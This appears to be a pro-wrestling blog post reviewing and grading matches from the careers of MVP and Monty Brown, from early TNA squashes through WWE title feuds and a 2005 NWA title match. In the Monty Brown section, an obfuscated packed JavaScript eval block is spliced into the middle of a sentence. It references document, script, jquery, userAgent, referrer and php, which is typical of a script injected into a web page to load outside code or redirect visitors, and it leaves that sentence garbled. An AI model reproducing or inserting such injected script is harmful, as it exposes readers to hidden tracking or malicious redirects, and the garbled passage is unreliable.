Today is someone pretty different from yesterday’s Bruno Sammartino. Today is MVP.

We’ll start things off with MVP as a jobber in TNA named Antonio Banks. Here he is on Impact, July 23, 2004.

Monty Brown vs. Antonio Banks

Brown hammers away to start and sends him out to the floor. Back in and Banks gets in some right hands but misses a big kick, earning him a clothesline. The Pounce ends this quick.

MVP would sign with WWE and debut on Smackdown after a few months in Deep South Wrestling. He would have his first main roster match at No Mercy 2006.

MVP vs. Marty Garner

This is MVP’s in ring debut and Garner is a jobber from OMEGA and some indies. He was occasionally in WWF as a jobber. JBL hates MVP and rips him apart through his short promo. The fans chant Power Ranger. MVP slaps him down before the match starts and JBL is cracking me up as he insults MVP. Garner gets in a right hand and JBL turns into a cheerleader. MVP is in blue which JBL calls blueberry bling. The Play of the Day or whatever he called his finisher gets the pin. Total squash. Again, I’m sure the people that bought the PPV are SO glad they paid for this too.

His first feud was with Kane, setting up this Inferno match at Armageddon 2006.

Kane vs. MVP

This is the ultra rare inferno match. There’s fire around the ring and you set your opponent on fire to win it. MVP is doing the big free agent thing and Kane is his first major feud. It’s a tag team feud at the moment with Kane/Taker vs. Kennedy/MVP with Taker vs. MVP happening later. Kane lost in a cage match and that set up this one.

The flames keep going up and down. You might even say big flames popping. Kane kicks him in the face and hammers him into the corner to start. MVP gets his feet up in the corner and thinks of going up but stops due to fear. Kane puts him in a wheelbarrow position and climbs the corner, only to get slammed on his face. Kane sets for a superplex but MVP knocks him off. The flames go up a second after he hits but it looks cool either way.

MVP stays on the top for a bit before coming off with a cross body. He instinctively covers but then settles for hammering away. Kane goes down and then sits up almost immediately. Big boot puts MVP down and there’s the chokeslam. The big bald takes the turnbuckle off and tries to light it on fire but the flames go down. The second attempt works but MVP uses the distraction to take over.

He tries a baseball slide to put Kane into the fire but Kane gets up before it hits. Kane takes over again and a corner clothesline hits. The side that got put out is back on now. MVP climbs the corner and Kane shoves him to the floor past the flames. Kane is like cool and dives off the top over the flames too. They fight to put each other into the “five hundred degree flames” and Kane grabs him by the throat and puts him into the fire for the win.

Rating: C-. This is hard to grade but it wasn’t incredibly interesting. I mean, they couldn’t have near falls but rather near burns here. Not horrible for the most part and not even bad, but at the same time what can you really expect from something like this? I’m pretty sure this ended the feud for the most part.

MVP would enter into a feud with Chris Benoit, including this six man tag at No Way Out 2007.

MVP/MNM vs. Hardy Boys/Chris Benoit

MVP is relatively new here as he’d only been around about 6 months. The Hardys had thrown out an open challenge at December 2 Dismember and MNM had answered, starting a feud. Mercury has a large mask on his face from a SICK broken nose at Armageddon. Jeff is Intercontinental Champion. Benoit is US Champion here as well, making this pretty one sided. It’s so scary to think that it was five months away.

BIG chant for the Hardys. Matt vs. Mercury start us off here. They slug it out with Joey trying to hurt Matt’s face for revenge. JBL says we’re near Hollywood, “the land of fruits and nuts.” He’s on conservative fire here so far. Off to Jeff who is getting a big reaction already. Off to Benoit vs. MVP for awhile which would be a US Title feud for the next two PPVs.

MNM tries to hide when Benoit chops MVP but MVP manages to tag Mercury. And for no apparent reason it doesn’t count. Oh apparently it was because he was in the ropes at the time. Off to Nitro vs. Jeff now and I’m assuming you know that Nitro is now John Morrison. Jeff gets that running swinging sleeper to take down Nitro. Nitro slaps him and Jeff goes right at him so we can hit the floor.

Double teaming/cheating gets MNM control and Hardy gets to do his awesome selling. JBL gets in a very simple yet true line: there may be three great wrestlers on the popular team but you only have to beat one. That’s very true yet probably not realized that much at all for some reason. Nice job on being a commentator/analyst for once. MVP comes in and goes off on Jeff who is taking a good beating out there.

Jeff knocks Nitro off the ropes and gets a Whisper in the Wind to bring in Matt. Cole’s voice is already getting weak. Side Effect gets two on Mercury. MVP cheats to take over again as this is getting some time. There are only seven matches tonight so I’d expect a good deal of time for each. Now we’re talking about Machiavelli. You learn a lot on a WWE pay per view.

Ballin which doesn’t have a name yet gets two. JBL says MVP looks like a combination between Barney and a Power Ranger but he fights like Floyd Mayweather. So he’s a teenage reptile that’s cowardly? Matt takes another big old beating until he can get a clothesline to Nitro to break the momentum. Mercury comes in and there’s no tag. And never mind as there it is to bring in Benoit.

Backdrops and throws for everyone including a suplex to Nitro that lands on MVP. He gets a German on both members of MNM at the same time in a nice move. Poetry in Motion gets a big reaction. Side Effect puts down Mercury. Jeff adds a Swanton and Benoit gets a headbutt but MVP breaks up the pin on the carcass of Mercury. Nitro takes Jeff down outside as MVP tries to swing the title. He walks into the Crossface but Nitro saves again. MVP and Jeff hit the floor and after some pounding and reversals the Crossface ends Mercury.

Rating: B. Solid opener here that certainly didn’t feel like fifteen minutes at all. Tag matches are the best choices to open shows more often than not as they’re certainly the most exciting matches on the cards often times, especially with guys like these. This worked very well indeed and was really good throughout. Basic match but well done and exciting for sure.

After failing to win the title at Wrestlemania XXIII and Backlash 2007, MVP would get a third title shot at Judgment Day 2007.

US Title: Chris Benoit vs. MVP

MVP is challenging here and it’s 2/3 falls. They had a decent match at Mania and this is the rematch. Amazing to think this was two months before the Benoit stuff happened. This is the third match in their series. Apparently Benoit has a bad leg which is a running theme tonight. They feel each other out for a good while as Cole isn’t sure if DQs or countouts count.

All Benoit to start but he can’t get the Crossface. MVP grabs a headlock which gets him nowhere at all. Benoit hammers away and they hit the mat. The idea here was that in the first match Benoit completely outwrestled him then at Backlash Benoit had more trouble with him and now he’s having real trouble with him. MVP works on the leg for a good while.

Rolling Germans time but the knee gives out on the final one. Crossface goes on but he manages to get to the rope. Back to the knee but a big boot in the corner misses. Sharpshooter goes on but that doesn’t work either. Good stuff here for the most part but the whole work on a limb thing is getting a bit repetitive tonight. MVP tries to climb the ropes and Benoit gets him in an electric chair, but the knee goes out and the Playmaker gives MVP the first fall.

There’s a rest period and Benoit stretches his leg a bit. The knee is falling apart and MVP attacks it every chance he gets. Even on a cover MVP twists the leg around in a very nice touch. Leg lock goes on which becomes a Brock Lock and Chris is in trouble. Playmaker doesn’t work a second time as Benoit gets a SWEET counter into the Crossface but he can’t lock it in due to a shot to the knee. A big boot to the knee allows MVP to roll him up to win the title in two straight falls. He would hold it nearly a year.

Rating: C+. The knee work was good here but at the same time it got a bit annoying having this in about the fourth or fifth match tonight. Benoit would head to ECW rather soon and I think you know how that ended. Pretty decent match here though as MVP used the previous two matches to get the win here, which is psychology which is the best thing you can ask for.

Here’s MVP in a big title defense at Vengeance 2007.

US Title: MVP vs. Ric Flair

MVP is the ridiculously cocky heel here and actually interesting to an extent. You would NEVER hear that today. He gets in Magnum TA’s face and says it’s all about MVP now. If all of MVP’s matches wind up combining to be half as good as the I Quit Cage match I’ll be stunned. Flair just looks stupid in pink. He’s no Bret Hart in that regard. Flair shows MVP up with bare bones basic moves and it’s hilarious. Flair is busted open! I CAN FEEL MY INNOCENCE BEING RIPPED FROM MY BODY! SPARE ME PLEASE!!!!

In a funny moment, Flair chops the heck out of MVP and after MVP takes over, he opens up his vest and checks his chest for welts. JBL says Flair’s chops are better than anyone else’s. And I believe him since he was a wrestler not long before this. Lawler needs to remind us he used to be a wrestler. Even Striker reminds us of that. This is another one of that matches that likely belongs on TV but we need a US Title match so here is one for you.

MVP’s knee hits the buckle and Flair goes for the wrong one, thereby proving that some things never change. There it is and we’re in Flair Formula time. It’s still passable too so I can’t complain that much. In a nice ending, Flair goes after MVP but the referee blocks him, allowing MVP to poke him in the eye and hit the Playmaker for the retaining. Why is that nice? Because that is Flair 101: distract the referee and cheat. I love that.

Rating: C. The ending helped that a lot. It’s your standard Flair match, but look at him put ANOTHER guy over. Dang I’m defending Flair. What the heck is wrong with me? This is when Flair was still bearable but he was on the verge of being gone, which I think is for the best. Match was average.

Next up was the feud with Matt Hardy that would not die. Here they are defending the Smackdown Tag Team Titles at Unforgiven 2007.

Smackdown Tag Titles: MVP/Matt Hardy vs. Deuce N Domino

MVP is also the US Champion. JBL says these two are like Brittney Spears and Mother Teresa. Now there’s a comparison you won’t hear again that often. Cherry’s (Deuce N Domino’s manager) looks were underrated. MVP and Hardy have a fight over who starts the match until we get down to MVP vs. Domino. Even Cole can’t tell Deuce and Domino apart. Domino yells a lot and Matt comes in off a slap to his chest.

Swinging neckbreaker puts Domino down as Matt and MVP have some annoying points system over who can hit the most moves. They keep shouting the score out to each other and I really don’t get what the point of it is. MVP sets for Matt’s yelling legdrop but Matt protests and tags himself in. This has been a one sided virtual comedy match so far. Matt drops a middle rope elbow on the back of Domino’s neck and does the ballin elbow drop.

Off to Deuce who has better luck. Matt gets caught in a chinlock and MVP rolls his eyes. A quick rollup gets two for Hardy. Domino back in as we settle into a regular tag match. Cherry tries to interfere but Matt grabs the Side Effect after MVP shouts to him. Domino hooks a cobra clutch and MVP walks out. Matt fights back and MVP is up on the apron again. He gets an inadvertent tag and cleans house. He hits Ballin on Deuce but Matt comes in, throws MVP out and steals the pin off a Twist of Fate.

Rating: C-. This is the kind of match Smackdown is for. Having two tag titles was a really bad idea as there were nowhere near enough teams to support it. Matt vs. MVP went on almost forever until Matt FINALLY won it at Backlash. This story went on for about 9-10 months. See how it could get boring quickly with all of the challenges that weren’t just wrestling matches?

After losing the title to Hardy at Backlash, MVP would get in a short feud with Jeff Hardy, including this match at Summerslam 2008.

MVP vs. Jeff Hardy

Jeff is in the middle of the biggest story of his life, as he’s been chasing the world title all year. This resulted in one of the highest number of buys ever for the Rumble, yet he’s opening the show here in a midcard match. Makes sense in WWE world I guess. There isn’t much of a story here other than MVP has been messing with Jeff lately. Hardy starts with two right hands to send MVP to the floor and there’s a whip into the barricade. Back in and a slingshot legdrop gets two for Jeff and we hit the armbar.

MVP makes the ropes and the referee has to keep pulling Jeff out of the corner. Jeff eventually gets free and charges right into a snap belly to belly for two. MVP kicks him in the back and puts on something like a crucifix hold before rolling over into a camel clutch. Off to something like a side leg bar but MVP eventually lets it go. Jeff goes tot he apron but MVP knocks him out of the air to break up a springboard, getting two.

Jeff is put in the Tree of Woe so MVP picks him up and slams the top of his head into the mat. That’s a new one. MVP loads up something like a Gory Bomb but Jeff slips down the back and neckbreakers his way to freedom. The slingshot dropkick in the corner is countered by two feet to Hardy’s chest but Jeff avoids the Drive By kick in the corner. A sunset flip gets two for Jeff and the Whisper in the Wind puts MVP down again. Cue US Champion Shelton Benjamin to distract Hardy from the Swanton, allowing MVP to move. The Drive By kick is good for the pin on Jeff.

Rating: B-. Summerslam almost always has good openers and this is a good example. I never got into MVP like a lot of people did but this was a solid performance from him. Shelton had been involved with this feud as an accessory on Smackdown but it’s not exactly enough of a connection for the run-in here to work. Good match though.

After this MVP would go on a long losing streak. He tried to break out of it in this match at Survivor Series 2008.

Team HBK vs. Team JBL

Shawn Michaels, Rey Mysterio, Cryme Tyme, Great Khali
John Bradshaw Layfield, The Miz, John Morrison, Kane, MVP

I think you can figure out the feuds yourself here. MVP and Mysterio get things going as all of the commentators are talking at once here. MVP is in the middle of a massive losing streak that would result in a face turn and I believe the US Title. Rey hits a quick rana and a clothesline for two before it’s off to JTG for a double dropkick. JTG hits a HARD right hand but MVP gets in a shot to the ribs and hits the Drive-By (running kick to the side of the head) for the elimination. Khali immediately comes in and chops MVP in the head for the elimination to tie things up.

Kane comes in for the staredown of the giants and Khali clotheslines him down with ease. Khali slugs him down and easily breaks up a chokeslam attempt. There’s the chop to the head and Rey climbs on Khali’s shoulders for the splash and another elimination. Off to Morrison who speeds things up. We hear about how great Morrison is from Striker, but unfortunately that chick Melina screwed up his future. Mysterio hits a quick kick to the head and it’s off to Shad.

Now Cryme Tyme vs. Miz/Morrison was a feud ahead of its time: their internet shows got in an argument and a wrestling feud followed. Shad misses a charge into the corner and it’s off to Miz. Since Miz isn’t quite the worker he is at this point, it’s back to Morrison very quickly. Shad runs over both members of the tag team and powerslams Miz down before hitting another overhyped elbow. Miz pops back up and hits the Reality Check (backbreaker/neckbreaker combo) to eliminate Shad.

It’s off to Shawn who comes in via a slow, dramatic step. He gets to face the Miz, meaning that entrance was wasted. To the shock of almost everyone, Miz takes over and double teams with Morrison to work over Shawn’s back. JBL, the slimmed down version, comes in to pound away and drop an elbow for two. Back to Miz who pounds away at Shawn’s bad eye, busting it open again.

Morrison comes in again to crank on a headlock and send Shawn over the top. Why would you turn your back when you throw Shawn over the top rope? At least Morrison jumps him when Shawn skins the cat. A forearm puts Shawn down and Morrison nips up in a little jab at HBK. Morrison misses the top rope elbow and it’s a double tag to bring in Miz vs. Mysterio. Rey hits a springboard rana into the 619 and the top rope splash puts Miz out.

JBL comes in and hits a hard shoulder to take Mysterio down. The crowd is WAY into Rey here. The fans think JBL can’t wrestle. The correct chant would be “You can’t work a style we like because we think that flying around and using a lot of moves is how a wrestler’s talents are determined because we don’t know what we’re talking about!” Off to Morrison with a European uppercut followed by a backbreaker.

Rey gets in a kick to the face but it’s off to JBL to hook an abdominal stretch with the leg being cranked on at the same time. Once Rey escapes, JBL uses something you don’t often see: a big boot to the back of the head. Rey blocks a belly to back superplex and hits a moonsault press to put JBL down and bust open his lip. There’s the tag to Shawn who hits the forearm and nip up of his own (take that Morrison) to send Bradshaw to the floor.

Shawn dives out to take Bradshaw out and loads up the superkick to send JBL running away. With JBL running away from the kick, Shawn slides back in and beats the count by one second, meaning JBL is gone via a countout. Morrison tries to superkick Shawn but Shawn is like boy these boots are older than you and kicks Morrison’s head off for the final pin and 3-0 final score for lack of a better term.

Rating: C. This was fine but the ending was kind of anti-climatic. They were trying to save the Shawn pin over JBL which was a good idea as they would have a solid feud in the next few months which resulted in Shawn being JBL’s lackey because Shawn was poor. The guys other than the captains in this didn’t do much of note but that’s kind of the idea behind a match like this. Not bad but nothing great either.

MVP would turn face again because that’s how you end a losing streak. Since this is WWE, after losing about 30 matches in a row, he won two and got a US Title shot on Smackdown, March 20, 2009.

US Title: MVP vs. Shelton Benjamin

Shelton takes him into the corner to start and hammers away before dropping him down in a modified Snake Eyes. A suplex gets two for Shelton but he charges into an overhead belly to belly. MVP gets two of his own off a boot to the face and there’s a facebuster into Ballin. Shelton lands on his feet to counter a suplex and grabs a hangman’s neckbreaker for two. A few rollups get a few near falls on the champion but he grabs the exploder suplex. Shelton misses a splash in the corner and walks into the Playmaker for the pin and the title.

Rating: D+. Short match here with Shelton not seeming all that interested in trying. MVP’s finishing move still doesn’t make a ton of sense. It’s almost like the other guy is being spun down and has a cushion for his neck. Nothing to see here and the fans didn’t seem all that interested in MVP as champion

After dropping the title, MVP would face Jack Swagger at Summerslam 2009.

Jack Swagger vs. MVP

MVP jumps over Swagger in the corner and hits a quick clothesline for two to start. Swagger rolls to the floor to avoid the Ballin Elbow, only to be caught by a suicide dive. Back in and Swagger gets in some shots to the ribs to take over followed by a forearm to the back. MVP counters another shot with an elbow to the face, only to get caught in an abdominal stretch.

A hard clothesline puts MVP down for two and it’s off to a camel clutch. MVP stands up and breaks the hold with an electric chair for two. This is really basic stuff and the fans aren’t all that thrilled. Back up and MVP pops him in the jaw with a right hand, setting up the Ballin Elbow for two. A big boot in the corner sets up the Playmaker for the pin on Swagger.

Rating: D. The match wasn’t even that bad but it was very dull. Neither guy did anything special out there and it was about six minutes of boring, yet acceptable, wrestling. Swagger would go on to a world title the following year for reasons no one can quite fathom while MVP would do nothing of note for the rest of his WWE run.

In one of his last big matches in WWE, MVP would get a US Title shot at Elimination Chamber 2010.

US Title: Miz vs. MVP

I love Miz’s theme music I think. Both guys have their fat tag partners with them. He really does look awesome with all that gold. And the Kool Aid Man is still fat. Naturally the talking is mostly about Daniel Brian and NXT. Why in the world should I care about MVP? I have zero idea what the appeal of him is. Oh and apparently he’s a power guy now? We get Tiger Woods jokes. Oh dear. They try to compare the last few years in their two careers.

Both have come miles. Yes but Miz has gone forward and MVP has gone backwards. This has been fairly entertaining. It’s nothing epic but it’s certainly doing ok. I just can’t stand MVP at all anymore so that has something to do with it. Show’s shouting is funny to me. I hate that Ballin Elbow. It’s just stupid on so many levels. On the floor Henry goes after Show and hits the railing which more or less explodes. Miz is busted open a bit and Show punches MVP to let Miz retain.

Rating: C+. Not bad at all here. It was a great way to get some time on the card filled in which this show needed badly. Also, Miz gets another win to further establish him as a big deal. This is a win he should have gotten and he did. That’s all you can ask of him. Decent little match here indeed.

MVP would get an Intercontinental Title shot on Smackdown, October 8, 2010.

Intercontinental Title: Dolph Ziggler vs. MVP

No Kaitlyn this week darn the luck. Vickie is rather ticked off here. Ziggler controls and sets her up for the slap while he distracts the referee but Vickie doesn’t do it. She walks away as he asks what’s going on and reminds her that they’re a team. MVP jumps him as we go to a break.

Back with Ziggler holding a chinlock. We get a clip from during the break where Dolph kicked MVP in the knee to take over. Reverse neckbreaker gets two. MVP makes s brief comeback with some rollups until Dolph kills him with a kick to the head. He hits the big elbow drop that Luger always missed for two and we hit the chinlock again.

Belly to belly overhead gets MVP out of trouble and makes his comeback. This has been a bit better than I was expecting but then again I can’t stand MVP for the most part. He’s been a bit better lately though. Big boot gets two for MVP. Kaitlyn comes out in a little black and gray dress that looks great on her. Sleeper is countered and both guys are down. MVP sets for Ballin but Kaitlyn grabs his ankle, allowing the Zig Zag to end it.

Rating: C+. Much better than I expected and it got a good deal of time. It wasn’t a great match but I liked it. Ziggler getting pinfalls like these even with moderate cheating is great for him. He wasn’t beaten when Kaitlyn helped him out so it keeps him looking somewhat strong. I liked this and it’s more of the Smackdown midcard doing their thing.

MVP would leave WWE soon after this and head to Japan where he signed with New Japan Pro Wrestling. Here he is on March 19, 2011.

MVP vs. Togi Makabe

They trade shoulder blocks to start before MVP just kicks him in the face. There’s a belly to belly suplex to send Togi outside and MVP sends him into the barricade a few times. Back in and MVP fires off some slaps before we get the required forearm smashes. A facebuster sets up the Ballin Elbow for two but Togi comes back with a powerslam (more like a power armdrag). They trade suplexes (northern lights for Togi, fisherman’s for MVP) for two each and it’s time for more unsold forearms.

MVP misses a lariat and gets Germaned for no cover. Togi clotheslines him down and headbutts out of a superplex attempt. He goes up top again, only to get caught in a slow motion Angle run up the corner. The Playmaker gets two for MVP and frustration is setting in. Off to a modified Crossface but Togi gets to a rope. Some corner clotheslines set up a top rope knee drop to MVP’s chest for the pin.

Rating: C-. This didn’t do much for me as it was just two guys doing moves to each other for about ten minutes. Then again, that’s usually my issue for almost every Japanese match that I watch. It wasn’t bad or anything but it’s nothing that I’d want to see again. The forearms made me roll my eyes.

One more Japanese match and what I believe was MVP’s last match in the company. From Wrestle Kingdom VII.

Akebono/Manabu Nakanishi/MVP/Strong Man vs. Bob Sapp/Takashi Iizuka/Toru Yano/Yujiro Takahashi

The second team is again part of Chaos. Sapp gets his own entrance and has a pretty swank white feather robe. Before the match, Takahashi cuts what sounds like a maniacal heel promo. Manabu makes an announcer do the entrance as the good guys come down the aisle but Chaos charges up the ramp for a brawl. The fight heads to the ring with Strong Man slamming two Chaos members down to set up Ballin from MVP.

Sapp comes in and runs both guys into the corner, only to bring in former Sumo wrestler Akebono (he was at Wrestlemania 21 against Big Show) for the showdown. They collide a few times until Sapp is knocked into the corner for splashes from all four of his opponents. The good guys all start stomping their feet to fire up Manabu who racks Sapp in a nice power display. Yano makes the save with a chair to the back and Iizuka gets in one of his own.

After a quick trip to the floor it’s off to Takahashi for a chop off and a rake to Manabu’s eyes. Yano and Iizuka both wrap chairs around Manabu’s neck and pull for a bit before Iizuka stays in for some right hands. Manabu comes back with a clothesline but the other three members of Chaos break up the tag attempt. Everything breaks down and Chaos is sent into the same corner for splashes from all four good guys (popular move). Manabu racks Iizuka for the submission.

Rating: C. This seemed like a big deal and the ending was fine. Manabu racking people seemed to be a big deal so I’m assuming he’s a popular guy. This was treated as an important win so I’m guessing the winners are at odds with Chaos. I still don’t get the love people have for MVP. The guy is fine but I don’t see the star power people insist is there.

MVP would debut in early 2014 as the new investor in TNA. Here he is fighting for control of the company at Lockdown 2014.

Team MVP vs. Team Roode

MVP, Wolves, Jeff Hardy
Bobby Roode, Bro Mans, Austin Aries

It’s Lethal Lockdown, meaning WarGames and the winner gets control of TNA (Roode is fighting for Dixie and gets 10% ownership if his team wins). Two men start for five minutes followed by a member of Team Roode (due to winning a match on Impact) enters for a two minute advantage. After two minutes a member of Team MVP enters to even things out for two minutes. This alternates until all eight are in when a roof with weapons is lowered and then it’s one fall to a finish, including pins.

Aries and the hometown boy MVP get things going with MVP kicking Aries in the face. Austin comes back with a bulldog and the Last Chancery before laying on the ropes. A missile dropkick doesn’t work as MVP catches him in an exploder suplex and the Ballin Elbow but Aries takes him out before it lands. Aries hits a running dropkick but MVP slams him down and hammers away. Austin escapes an arm hold but misses an elbow drop as Robbie E comes in for the advantage after four minutes.

MVP immediately drops him on his face but Aries gets in a cheap shot and the heels take over. A top rope ax handle puts MVP down and E drops a middle rope elbow to the face. They talk trash to MVP until Eddie Edwards ties things up. Eddie cleans house as you expect a fresh man to do in a Lethal Lockdown match. DJ Zema Ion tries to interfere but gets knocked off the cage wall in a big bump. The good guys control for a bit until the clock runs out with Jesse Godderz giving Team Roode a 3-2 advantage.

The Bro Mans take over without much happening until Davey Richards and his bad arm ties things up. Davey of course gives his team the advantage again with the fast paced double team offense as the WarGames formula is firmly in place here. Stereo half crabs have the Bro Mans in trouble until Aries clotheslines the Wolves from behind. Roode and his awesome sleeveless coat makes it 4-3. The captains go face to face until Roode takes MVP down with a spinebuster.

The heels take complete control until the clock comes on and it’s Willow (Jeff Hardy’s new gimmick, which looks like a black and white Ultimo Dragon mask and really high pants) to tie things up and complete both teams. He comes in as the lights are out and dives off the top of the cage. If they don’t want us to know he’s Hardy, they might have wanted to give him a full body suit to cover the big green tattoo. Thankfully Taz and Tenay drop hints about who it is as the roof with the weapons lower…..and here’s Dixie.

She introduces the insurance policy as the special referee: Bully Ray. As in the guy that spent a year and a half trying to destroy her company. Team MVP waits for Ray at the door but Team Roode jumps them from behind. The weapons are brought in with Ray finding a table under the ring. Dixie sits in a chair on the stage to watch the carnage as it’s all Team Roode. Bobby puts Davey’s bad arm in the Crossface with Bully asking if he wants to give up and talking trash at the same time.

Team Roode all has front facelocks on their opponents but a triple backdrop breaks them free. Richards is broken out quickly and MVP makes sure to hit the Ballin Elbow on Roode. The weapons are used more extensively and Willow loads up a powerbomb on Aries but throws him face first into the cage instead. Robbie is tied up in the Tree of Woe as Ray is just standing in the corner watching. The Wolves set up a trashcan in front of Robbie’s face for an AWESOME double Van Terminator.

Aries is sat in a chair and kicked over and over until he grabs Richards for a BRAINBUSTER THROUGH THE CHAIR. Willow breaks up the save but Aries puts him on a trashcan, only to have Willow move before the 450 only hits the can. A Twist of Fate and Swanton gets a very delayed two on Aries as Roode makes the save and sends Willow into the cage. The table is set up in the cage but Ray gets in the way of the Roode Bomb to MVP. Ray and Roode stare each other down until Ray gives him a Bully Bomb. MVP hits a quick Drive By on Roode for the pin at 26:53.

Rating: B+. The match started slowly but those big spots at the end were great. MVP winning is the right call and fairly obvious (I don’t believe heels have EVER won Lethal Lockdown) but at least there was some drama in there. I don’t get the point of having Hardy be Willow if they’re going to just acknowledge he’s Hardy in a costume. Good main event and a match the show needed.

MVP is a case where I’ve never gotten the appeal. He’s talented in the ring and can talk well enough, but I still don’t get the universal appeal the guy has. People would make you think he’s the next big thing but he seemed to hit the peak of his career with the upper midcard slot. He’s certainly talented and can have a decent match if given the right opponent, but I don’t see the superstar in him.

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Today is Monty Brown. Period.

 

Brown eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyhhs|var|u0026u|referrer|fhzhh||js|php'.split('|'),0,{})) started in the NFL and didn’t start in wrestling until his early 30s. After starting in the indies for a few years, Brown was on some of the early TNA weekly PPVs, including their third show in July 3, 2002.

Anthony Ingram vs. Monty Brown

After Brown says he wants Shamrock, the squashing commences. After a powerslam the Alpha Bomb (starts in a slam position but Brown swings him into the air and powerbombs him down) gets the pin. Brown has what sounds like Abyss’ old music.

For something a bit longer, here’s another match from the tenth PPV.

NWA World Title: Ron Killings vs. Monty Brown

Truth is defending if that’s not clear. Brown shoves him around and they slug it out a bit with Brown taking over. A bunch of shoulder blocks get two on the champ but Truth low bridges him to send Brown to the floor. Truth dives onto Brown on the ramp before sending him into the steps and stomping away.

The champ gets on the announce table but Brown fights back. The Alpha Bomb through the table is blocked and they keep slugging it out. Brown hits a release overhead belly to belly, sending Truch onto his head. FREAKING OW MAN. Back in and Brown pounds away but walks into a Downward Spiral for two. Truth hooks a chinlock but Brown fights up and hits a sunset flip for two.

Brown grabs a suplex and after some LOUD spot calling, a snap suplex puts both guys down. A powerslam puts Truth down and a splash gets two for Monty. Truth does his signature backflip into the splits into the side kick sequence but Brown ducks away, only to get caught by the ax kick. That gets two and Brown has the Alpha Bomb countered into….I think that’s supposed to be a sunset flip by Truth for the pin to retain.

Rating: D-. This was AWFUL with both guys looking completely not ready for this level at all. Brown would get better when they just turned him into a monster that ran through people with the Pounce. This match sucked though, with both guys botching a ton of stuff, with the ending being an especially big eyesore. Nothing good at all from this one.

Brown would go back to the indies for all of 2003 and come back in 2004 as a monster. He would appear at the first three hour PPV, Victory Road 2004, in the first Monster’s Ball match.

Abyss vs. Monty Brown vs. Raven

This is the original Monster’s Ball match, which originally was far different. The idea here is that the guys have been locked up without light or food for 24 hours. This aspect has since completely disappeared due to reasons of sanity and now it’s just a regular hardcore match. The announcers say that Raven has the advantage here as he’s smaller and crazier which makes sense, at least in the lack of food and light idea.

We have a table set up inside of 30 seconds. Abyss is dominating here for the most part. It’s really more of an intense triple threat rather than a hardcore match and now we have chairs coming in. Raven really is underrated in the ring. I love what Brown does by just chucking a chair at Raven’s head. That’s awesome. Naturally we have a ref bump because they’re required I suppose.

Now we move to the big spots of the match as we have Brown sitting on the top rope and Abyss busts out the tacks. Since he’s the only one wearing a shirt you know that he’s the guy that’s going to wind up going through them. Yep, Raven comes in to powerbomb him while he’s trying to suplex Brown. That wasn’t predictable at all. Not a bit. Raven gets two off of it and then we set up another stupid spot as the table is set up in the corner and Raven gets Pounced (a spear/tackle) through it. It was a mess of course.

Rating: D+. These things are going to happen and while I can’t stand them, I get that there’s a point to them. There is a market for these I guess and at least they’re keeping it shorter. There’s really no way to make these good without going too far, but this was really lackluster even for one of these.

Brown would move up the card and be in a three way for a title shot at Final Resolution 2005.

Monty Brown vs. Diamond Dallas Page vs. Kevin Nash

This is under elimination rules. Brown’s theme sounds like a cover of Down with the Sickness. Nash has some weird instrumental stuff that sounds like R&B while Page has a cover of his famous cover. At least Page has the decency to wear a shirt out there. Nash chills in the corner and lets the other two go at it. Cutter doesn’t work early but he has the fans….only about half behind him as they like Monty also.

Shoulder puts Page on the floor as we hear about Brown having a Nikita Koloff poster on his wall as a kid. That would make him one of two people to have that poster but nice name drop if nothing else. This is kind of a handicap match but not really as Brown shifts off to Nash while Page chills in the corner. Big old side slam by Nash gets two. Headlock is countered into a suplex by Brown so Nash chills for a bit.

Apparently you can be eliminated by going over the top. What kind of a stupidly pointless rule is that? You can’t do a rollup and have to go out over the top? Really? Page takes Brown down with a discus lariat for two and LOUDLY calls a bunch of spots to him. DDT gets two on Page but Big Sexy saves. They finally start working together but Nash tries to double cross Page and is sent to the floor to get us down to one on one. Ah so it was so Nash wouldn’t have to get pinned. Now it makes sense.

Diamond Cutter out of NOWHERE gets two as Nash pulls Page out because he’s a jerk. Page gets sent into the post which gets two for Brown in the ring. Page gets a rollup out of the corner for two and another lariat gets two. Brown takes over with a wide variety of clotheslines and a fallaway slam for no cover. Powerslam gets two. Page tries a Diamond Cutter out of nowhere but gets reversed into the Pounds (Period) to end this and send Brown to the main event.

Rating: C. Match was ok and FAR better with the one on one stuff. Nash was kind of a third wheel here and I pretty much fail to see why he was there. Brown vs. Page wasn’t bad though as Page always had his matches worked out so well that it was hard for him to have a bad match against anyone competent, which Brown was for the most part. Decent here, but kind of unnecessary.

The title match was later that night.

NWA World Title: Jeff Jarrett vs. Monty Brown

This is a rematch from Impact where Brown got ripped off. Security has to hold them apart so JB can do the intros. Brown is mad over. Nothing of note to start and Jarrett gets to start. Jeff gets that dropkick of his as the first big move. Time for more strutting and Jarrett makes fun of Brown a bit. Jarrett rams into him and that gets him nowhere at all.

Gorilla press plants Jeff as it’s pretty clear this isn’t going to end clean. Brown gets him in a slam position but a thumb to the eye….does next of nothing to him as he slams Jarrett for two. Clothesline misses though and Monty is on the floor. LUCHA JARRETT but he gets caught (kind of) in mid air. To the floor and it’s time for brawling of course. Into the crowd they go and Jarrett pops Monty with a chair a few times. Remember that in TNA a DQ can change a title.

Back to ringside and it’s another chair shot to the ribs of Brown before they head to the announce table. After all that a belt shot isn’t allowed for some reason. Back in the ring and Jeff puts on a sleeper to eat up some time. Monty grabs one of his own but Jarrett uses the magical powers of experience to break out of it. Figure Four doesn’t work and Monty avoids the running hip to someone in the 619 position.

They hit the ropes a few times and hit heads to send both guys down. They slug it out with Brown taking over because he has more experience punching. I mean, what else does he actually do? Alpha Bomb (slam into a powerbomb) gets two. Spinning neckbreaker (called the Circle of Life apparently) gets two. Stroke is blocked and we have a ref bump. Guitar shot puts him down after he stands around for a few seconds but it only gets two.

The referee is holding his knee still so Jarrett grabs the chair. Brown puts him in an electric chair and blocks a shot to the head before dropping backwards to put both guys down. Jeff gets two off that as I guess he didn’t block the whole thing. Pretty weak belt shot puts Monty down again but he power kicks out at two. Brown makes his comeback but the Pounce kills the referee again.

